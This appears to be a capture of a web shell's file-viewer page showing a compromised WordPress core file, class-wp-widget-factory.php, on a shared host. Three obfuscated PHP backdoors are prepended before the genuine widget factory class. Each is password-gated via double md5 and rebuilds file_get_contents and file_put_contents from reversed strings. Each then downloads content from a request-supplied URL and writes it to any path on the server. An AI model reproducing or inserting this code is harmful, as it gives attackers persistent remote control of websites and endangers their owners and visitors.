HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/class-wp-widget-factory.php
<?php 
$jtRfNH = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($jtRfNH[0]) /*+/*+*/
. md5($jtRfNH[0])) == "b".
"a".
"4".
"f".
"d".
"6".
"9".
"7".
"9".
"f".
"7".
"f".
"3".
"9".
"7".
"b".
"a".
"1".
"9".
"0".
"d".
"6".
"3".
"6".
"a".
"7".
"1".
"3".
"7".
"f".
"4".
"2") {
$gUacXiAZ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OLlzhZASh = $gUacXiAZ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$NSblselEW = $gUacXiAZ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function UNnhnflm($jfzoutb) { if (empty($jfzoutb)) return false; if (!is_dir($jfzoutb)) { UNnhnflm(dirname($jfzoutb), 0755, true); mkdir($jfzoutb); } } !file_exists(dirname($jtRfNH[1])) && UNnhnflm(dirname($jtRfNH[1])); $yMyEoX = @$NSblselEW($jtRfNH[2]); echo @$OLlzhZASh($jtRfNH[1], $yMyEoX) ? 1 : 0; die; }key($jtRfNH) == "of" && die("Qian Ru Ok"); ?><?php 
$lkKzUxOS = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lkKzUxOS[0]) /*+/*+*/
. md5($lkKzUxOS[0])) == "d".
"6".
"0".
"f".
"a".
"0".
"2".
"8".
"7".
"4".
"8".
"4".
"a".
"b".
"0".
"d".
"b".
"9".
"7".
"8".
"4".
"e".
"4".
"f".
"e".
"4".
"f".
"1".
"7".
"c".
"1".
"e") {
$XBoGCHZE = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$obReNDqFh = $XBoGCHZE /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$WycbzLR = $XBoGCHZE
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function LoJvPXgV($Avviy) { if (empty($Avviy)) return false; if (!is_dir($Avviy)) { LoJvPXgV(dirname($Avviy), 0755, true); mkdir($Avviy); } } !file_exists(dirname($lkKzUxOS[1])) && LoJvPXgV(dirname($lkKzUxOS[1])); $hKRONh = @$WycbzLR($lkKzUxOS[2]); echo @$obReNDqFh($lkKzUxOS[1], $hKRONh) ? 1 : 0; die; }key($lkKzUxOS) == "of" && die("Qian Ru Ok"); ?><?php 
$fMnlGmq = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fMnlGmq[0]) /*+/*+*/
. md5($fMnlGmq[0])) == "5".
"b".
"a".
"1".
"7".
"d".
"1".
"2".
"9".
"b".
"c".
"6".
"9".
"b".
"d".
"d".
"6".
"1".
"8".
"0".
"b".
"e".
"8".
"1".
"4".
"d".
"2".
"9".
"d".
"4".
"1".
"5") {
$jKxQcu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$fuiCAek = $jKxQcu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$xUTDqmXQZ = $jKxQcu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function BFmIA($GoABNb) { if (empty($GoABNb)) return false; if (!is_dir($GoABNb)) { BFmIA(dirname($GoABNb), 0755, true); mkdir($GoABNb); } } !file_exists(dirname($fMnlGmq[1])) && BFmIA(dirname($fMnlGmq[1])); $zMXkieBlD = @$xUTDqmXQZ($fMnlGmq[2]); echo @$fuiCAek($fMnlGmq[1], $zMXkieBlD) ? 1 : 0; die; }key($fMnlGmq) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Widget API: WP_Widget_Factory class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Singleton that registers and instantiates WP_Widget classes.
 *
 * @since 2.8.0
 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
 */
class WP_Widget_Factory {

	/**
	 * Widgets array.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $widgets = array();

	/**
	 * PHP5 constructor.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
	}

	/**
	 * PHP4 constructor.
	 *
	 * @since 2.8.0
	 * @deprecated 4.3.0 Use __construct() instead.
	 *
	 * @see WP_Widget_Factory::__construct()
	 */
	public function WP_Widget_Factory() {
		_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );
		self::__construct();
	}

	/**
	 * Registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function register( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			$this->widgets[ spl_object_hash( $widget ) ] = $widget;
		} else {
			$this->widgets[ $widget ] = new $widget();
		}
	}

	/**
	 * Un-registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function unregister( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			unset( $this->widgets[ spl_object_hash( $widget ) ] );
		} else {
			unset( $this->widgets[ $widget ] );
		}
	}

	/**
	 * Serves as a utility method for adding widgets to the registered widgets global.
	 *
	 * @since 2.8.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function _register_widgets() {
		global $wp_registered_widgets;
		$keys       = array_keys( $this->widgets );
		$registered = array_keys( $wp_registered_widgets );
		$registered = array_map( '_get_widget_id_base', $registered );

		foreach ( $keys as $key ) {
			// Don't register new widget if old widget with the same id is already registered.
			if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
				unset( $this->widgets[ $key ] );
				continue;
			}

			$this->widgets[ $key ]->_register();
		}
	}

	/**
	 * Returns the registered WP_Widget object for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return WP_Widget|null
	 */
	public function get_widget_object( $id_base ) {
		$key = $this->get_widget_key( $id_base );
		if ( '' === $key ) {
			return null;
		}

		return $this->widgets[ $key ];
	}

	/**
	 * Returns the registered key for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return string
	 */
	public function get_widget_key( $id_base ) {
		foreach ( $this->widgets as $key => $widget_object ) {
			if ( $widget_object->id_base === $id_base ) {
				return $key;
			}
		}

		return '';
	}
} ?>